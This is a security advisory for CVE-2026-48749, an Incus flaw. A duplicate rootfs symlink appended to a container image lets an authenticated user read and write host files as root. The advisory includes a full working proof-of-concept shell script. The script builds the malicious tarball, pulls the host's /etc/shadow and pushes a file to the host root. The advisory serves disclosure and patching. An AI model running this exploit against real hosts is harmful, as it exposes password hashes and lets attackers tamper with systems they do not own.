critical · 9.9CVE-2026-48749Jun 26, 2026

CVE-2026-48749: Incus Arbitrary File Read and Write via rootfs Symlink in Malicious Image

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted container image can trick Incus into mapping its rootfs to any path on the host, letting an authenticated user read or overwrite arbitrary host files as root.

Packagegithub.com/lxc/incus/v7/cmd/incusd
Ecosystemgo
Affected< 7.2.0
Fixed in7.2.0

The problem

Incus validates an image once it sees a legitimate `metadata.yaml` and a `rootfs/` directory entry. It does not check for a duplicate top-level `rootfs` entry appended later in the same tarball.

Because tar extraction processes entries in order, the duplicate `rootfs -> /` symlink overwrites the original directory on disk. The stopped-container file API then opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots into it. Since `RootfsPath()` now resolves to `/` on the host, every `incus file pull` or `incus file push` operation touches the real host filesystem with root privileges.

Proof of concept

bash
#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() { rm -rf "${tmpdir}"; }
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat <<'__EOF__' > "${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * > ../afrw-rootfs-symlink.tar

# inject rootfs symlink AFTER the directory entry
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs

incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink

# read host /etc/shadow
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"

# write a file to host /
printf 'afrw-rootfs-symlink\n' > "${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

The tar format allows multiple entries with the same name. Incus validated the image on first pass (seeing `rootfs/` as a directory), but the full extraction honored the later `rootfs -> /` symlink, leaving the on-disk path as a host symlink.

The stopped-container file API calls `d.RootfsPath()`, opens that path as a file descriptor, and passes it to `forkfile` for a `chroot`. Because the symlink was never rejected, `chroot` lands on `/` of the host rather than the container's isolated filesystem (CWE-73: External Control of File Name or Path).

The patch added a check after full extraction to verify that the resolved `rootfs` path is a real directory, not a symlink, before the container is created or the file API is invoked.

The fix

Upgrade to Incus 7.2.0 or later. The fix rejects any image whose top-level `rootfs` entry resolves to a symlink after extraction, preventing the duplicate-entry trick entirely. LTS users should apply the backport available in the `stable-6.0` branch.

Reported by 7asecurity.

References: [1][2]